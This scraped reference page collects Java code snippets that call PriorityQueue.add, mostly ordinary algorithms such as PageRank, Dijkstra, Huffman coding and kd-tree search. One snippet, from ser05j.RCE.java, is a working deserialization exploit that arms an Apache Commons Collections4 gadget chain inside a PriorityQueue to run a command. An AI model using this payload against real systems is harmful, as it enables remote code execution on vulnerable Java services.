Example usage for java.util PriorityQueue add

List of usage examples for java.util PriorityQueue add

Introduction

In this page you can find the example usage for java.util PriorityQueue add.

Prototype

public boolean add(E e) 

Source Link

Document

Inserts the specified element into this priority queue.

Usage

From source file:SequentialPersonalizedPageRank.java

@SuppressWarnings({ "static-access" })
public static void main(String[] args) throws IOException {
    Options options = new Options();

    options.addOption(OptionBuilder.withArgName("path").hasArg().withDescription("input path").create(INPUT));
    options.addOption(//from  w  w  w . j  av  a 2 s .  co m
            OptionBuilder.withArgName("val").hasArg().withDescription("random jump factor").create(JUMP));
    options.addOption(OptionBuilder.withArgName("node").hasArg()
            .withDescription("source node (i.e., destination of the random jump)").create(SOURCE));

    CommandLine cmdline = null;
    CommandLineParser parser = new GnuParser();

    try {
        cmdline = parser.parse(options, args);
    } catch (ParseException exp) {
        System.err.println("Error parsing command line: " + exp.getMessage());
        System.exit(-1);
    }

    if (!cmdline.hasOption(INPUT) || !cmdline.hasOption(SOURCE)) {
        System.out.println("args: " + Arrays.toString(args));
        HelpFormatter formatter = new HelpFormatter();
        formatter.setWidth(120);
        formatter.printHelp(SequentialPersonalizedPageRank.class.getName(), options);
        ToolRunner.printGenericCommandUsage(System.out);
        System.exit(-1);
    }

    String infile = cmdline.getOptionValue(INPUT);
    final String source = cmdline.getOptionValue(SOURCE);
    float alpha = cmdline.hasOption(JUMP) ? Float.parseFloat(cmdline.getOptionValue(JUMP)) : 0.15f;

    int edgeCnt = 0;
    DirectedSparseGraph<String, Integer> graph = new DirectedSparseGraph<String, Integer>();

    BufferedReader data = new BufferedReader(new InputStreamReader(new FileInputStream(infile)));

    String line;
    while ((line = data.readLine()) != null) {
        line.trim();
        String[] arr = line.split("\\t");

        for (int i = 1; i < arr.length; i++) {
            graph.addEdge(new Integer(edgeCnt++), arr[0], arr[i]);
        }
    }

    data.close();

    if (!graph.containsVertex(source)) {
        System.err.println("Error: source node not found in the graph!");
        System.exit(-1);
    }

    WeakComponentClusterer<String, Integer> clusterer = new WeakComponentClusterer<String, Integer>();

    Set<Set<String>> components = clusterer.transform(graph);
    int numComponents = components.size();
    System.out.println("Number of components: " + numComponents);
    System.out.println("Number of edges: " + graph.getEdgeCount());
    System.out.println("Number of nodes: " + graph.getVertexCount());
    System.out.println("Random jump factor: " + alpha);

    // Compute personalized PageRank.
    PageRankWithPriors<String, Integer> ranker = new PageRankWithPriors<String, Integer>(graph,
            new Transformer<String, Double>() {
                @Override
                public Double transform(String vertex) {
                    return vertex.equals(source) ? 1.0 : 0;
                }
            }, alpha);

    ranker.evaluate();

    // Use priority queue to sort vertices by PageRank values.
    PriorityQueue<Ranking<String>> q = new PriorityQueue<Ranking<String>>();
    int i = 0;
    for (String pmid : graph.getVertices()) {
        q.add(new Ranking<String>(i++, ranker.getVertexScore(pmid), pmid));
    }

    // Print PageRank values.
    System.out.println("\nPageRank of nodes, in descending order:");
    Ranking<String> r = null;
    while ((r = q.poll()) != null) {
        System.out.println(r.rankScore + "\t" + r.getRanked());
    }
}

From source file:edu.umd.shrawanraina.SequentialPersonalizedPageRank.java

@SuppressWarnings({ "static-access" })
public static void main(String[] args) throws IOException {
    Options options = new Options();

    options.addOption(OptionBuilder.withArgName("path").hasArg().withDescription("input path").create(INPUT));
    options.addOption(//from  w  ww  .jav a2 s.c o  m
            OptionBuilder.withArgName("val").hasArg().withDescription("random jump factor").create(JUMP));
    options.addOption(OptionBuilder.withArgName("node").hasArg()
            .withDescription("source node (i.e., destination of the random jump)").create(SOURCE));

    CommandLine cmdline = null;
    CommandLineParser parser = new GnuParser();

    try {
        cmdline = parser.parse(options, args);
    } catch (ParseException exp) {
        System.err.println("Error parsing command line: " + exp.getMessage());
        System.exit(-1);
    }

    if (!cmdline.hasOption(INPUT) || !cmdline.hasOption(SOURCE)) {
        System.out.println("args: " + Arrays.toString(args));
        HelpFormatter formatter = new HelpFormatter();
        formatter.setWidth(120);
        formatter.printHelp(SequentialPersonalizedPageRank.class.getName(), options);
        ToolRunner.printGenericCommandUsage(System.out);
        System.exit(-1);
    }

    String infile = cmdline.getOptionValue(INPUT);
    final String source = cmdline.getOptionValue(SOURCE);
    float alpha = cmdline.hasOption(JUMP) ? Float.parseFloat(cmdline.getOptionValue(JUMP)) : 0.15f;

    int edgeCnt = 0;
    DirectedSparseGraph<String, Integer> graph = new DirectedSparseGraph<String, Integer>();

    BufferedReader data = new BufferedReader(new InputStreamReader(new FileInputStream(infile)));

    String line;
    while ((line = data.readLine()) != null) {
        line.trim();
        String[] arr = line.split("\\t");

        for (int i = 1; i < arr.length; i++) {
            graph.addEdge(new Integer(edgeCnt++), arr[0], arr[i]);
        }
    }

    data.close();

    if (!graph.containsVertex(source)) {
        System.err.println("Error: source node not found in the graph!");
        System.exit(-1);
    }

    WeakComponentClusterer<String, Integer> clusterer = new WeakComponentClusterer<String, Integer>();

    Set<Set<String>> components = clusterer.transform(graph);
    int numComponents = components.size();
    System.out.println("Number of components: " + numComponents);
    System.out.println("Number of edges: " + graph.getEdgeCount());
    System.out.println("Number of nodes: " + graph.getVertexCount());
    System.out.println("Random jump factor: " + alpha);

    // Compute personalized PageRank.
    PageRankWithPriors<String, Integer> ranker = new PageRankWithPriors<String, Integer>(graph,
            new Transformer<String, Double>() {
                public Double transform(String vertex) {
                    return vertex.equals(source) ? 1.0 : 0;
                }
            }, alpha);

    ranker.evaluate();

    // Use priority queue to sort vertices by PageRank values.
    PriorityQueue<Ranking<String>> q = new PriorityQueue<Ranking<String>>();
    int i = 0;
    for (String pmid : graph.getVertices()) {
        q.add(new Ranking<String>(i++, ranker.getVertexScore(pmid), pmid));
    }

    // Print PageRank values.
    System.out.println("\nPageRank of nodes, in descending order:");
    Ranking<String> r = null;
    while ((r = q.poll()) != null) {
        System.out.println(r.rankScore + "\t" + r.getRanked());
    }
}

From source file:Main.java

public static PriorityQueue<Integer> fill(PriorityQueue<Integer> pq, int size) {
    for (int i = 0; i < size; i++) {
        pq.add(0);
    }//from  w w w  .  ja v  a2 s  . c  o m
    return pq;
}

From source file:ser05j.RCE.java

/**
 * Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0
 *
 * @throws Exception for <i>everything</i>.
 * @return a byte array containing the serialized queue
 *///from   w ww  . ja va  2  s  .com
private static byte[] RCEpayload() throws Exception {

    Object templates = Gadgets.createTemplatesImpl("Calc.exe");
    // Object templates = Gadgets.createTemplatesImpl("write .gitignore"); 

    ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

    // mock method name until armed
    Class<?>[] paramTypes = new Class[] { String.class };
    Object[] args = new Object[] { "foo" };
    InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

    @SuppressWarnings("unchecked")
    Transformer<Object, Object> chain = new ChainedTransformer<Object>(
            new Transformer[] { constant, instantiate });

    // create queue with numbers
    PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));
    queue.add(1);
    queue.add(1);

    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;

    return serialize(queue);
}

From source file:Navigation.Vertex.java

public static void computePaths(Vertex source) {
    source.minDistance = 0.;//from  w  w  w.j av a2 s . c  om
    PriorityQueue<Vertex> vertexQueue = new PriorityQueue<Vertex>();
    vertexQueue.add(source);

    while (!vertexQueue.isEmpty()) {
        Vertex u = vertexQueue.poll();

        // Visit each edge exiting u
        for (Edge e : u.adjacencies) {
            Vertex v = e.target;
            double weight = e.weight;
            double distanceThroughU = u.minDistance + weight;
            if (distanceThroughU < v.minDistance) {
                vertexQueue.remove(v);

                v.minDistance = distanceThroughU;
                v.previous = u;
                vertexQueue.add(v);

            }

        }
    }
}

From source file:net.spfbl.core.Huffman.java

private static Huffman buildTree(int[] frequency) {
    PriorityQueue<Huffman> queue = new PriorityQueue<Huffman>();
    for (char i = 0; i < 256; i++) {
        if (frequency[i] > 0) {
            queue.add(new Huffman(i, frequency[i], null, null));
        }/*from w w w .j  ava  2  s .c o  m*/
    }
    if (queue.size() == 1) {
        if (frequency['\0'] == 0) {
            queue.add(new Huffman('\0', 0, null, null));
        } else {
            queue.add(new Huffman('\1', 0, null, null));
        }
    }
    while (queue.size() > 1) {
        Huffman left = queue.poll();
        Huffman right = queue.poll();
        Huffman parent = new Huffman('\0', left.frequency + right.frequency, left, right);
        queue.add(parent);
    }
    return queue.poll();
}

From source file:net.sourceforge.jasa.market.FourHeapOrderBook.java

/**
 * Insert a shout into a binary heap./*  w ww . java2s . c om*/
 * 
 * @param heap
 *          The heap to insert into
 * @param shout
 *          The shout to insert
 * 
 */
private static void insertShout(PriorityQueue<Order> heap, Order shout) throws DuplicateShoutException {
    try {
        heap.add(shout);
    } catch (IllegalArgumentException e) {
        logger.error(e);
        e.printStackTrace();
        throw new DuplicateShoutException("Duplicate shout: " + shout.toString());
    }
}

From source file:org.sample.whiteboardapp.MyWhiteboard.java

static void searchKDSubtree(PriorityQueue<Double> pq, HashMap<Double, Node> hm, Node root, double[] Qpoint,
        int k, int depth) {
    Node child = null;//  w w w . j av  a2s .  co  m
    int dim = depth;
    double dist = Distance(Qpoint, root.point);

    if (pq.size() < k) {
        pq.add(dist);
        hm.put(dist, root);
    } else if (dist < pq.peek()) {
        pq.poll();
        pq.add(dist);
        hm.put(dist, root);
    }
    if (Qpoint[dim] < root.point[dim]) {
        if (root.left != null) {
            searchKDSubtree(pq, hm, root.left, Qpoint, k, (depth + 1) % 2);
            child = root.right;
        }
    } else {
        if (root.right != null) {
            searchKDSubtree(pq, hm, root.right, Qpoint, k, (depth + 1) % 2);
            child = root.left;
        }
    }
    if ((pq.size() < k || (Qpoint[dim] - root.point[dim]) < pq.peek()) && child != null) {
        searchKDSubtree(pq, hm, child, Qpoint, k, (depth + 1) % 2);
    }
}

From source file:org.apache.pig.builtin.TOP.java

protected static void updateTop(PriorityQueue<Tuple> store, int limit, DataBag inputBag) {
    Iterator<Tuple> itr = inputBag.iterator();
    while (itr.hasNext()) {
        Tuple t = itr.next();//from  w w w  .  j a va  2 s  .  co  m
        store.add(t);
        if (store.size() > limit)
            store.poll();
    }
}

From source file:org.apache.jackrabbit.oak.plugins.document.DocumentNodeStoreHelper.java

private static Iterable<BlobReferences> scan(DocumentNodeStore store, Comparator<BlobReferences> comparator,
        int num) {
    long totalGarbage = 0;
    Iterable<NodeDocument> docs = getDocuments(store.getDocumentStore());
    PriorityQueue<BlobReferences> queue = new PriorityQueue<BlobReferences>(num, comparator);
    List<Blob> blobs = Lists.newArrayList();
    long docCount = 0;
    for (NodeDocument doc : docs) {
        if (++docCount % 10000 == 0) {
            System.out.print(".");
        }/*from   w w  w  . j a v  a2  s. co  m*/
        blobs.clear();
        BlobReferences refs = collectReferences(doc, store);
        totalGarbage += refs.garbageSize;
        queue.add(refs);
        if (queue.size() > num) {
            queue.remove();
        }
    }

    System.out.println();
    List<BlobReferences> refs = Lists.newArrayList();
    refs.addAll(queue);
    Collections.sort(refs, Collections.reverseOrder(comparator));
    System.out.println("Total garbage size: " + FileUtils.byteCountToDisplaySize(totalGarbage));
    System.out.println("Total number of nodes with blob references: " + docCount);
    System.out.println("total referenced / old referenced / # blob references / path");
    return refs;
}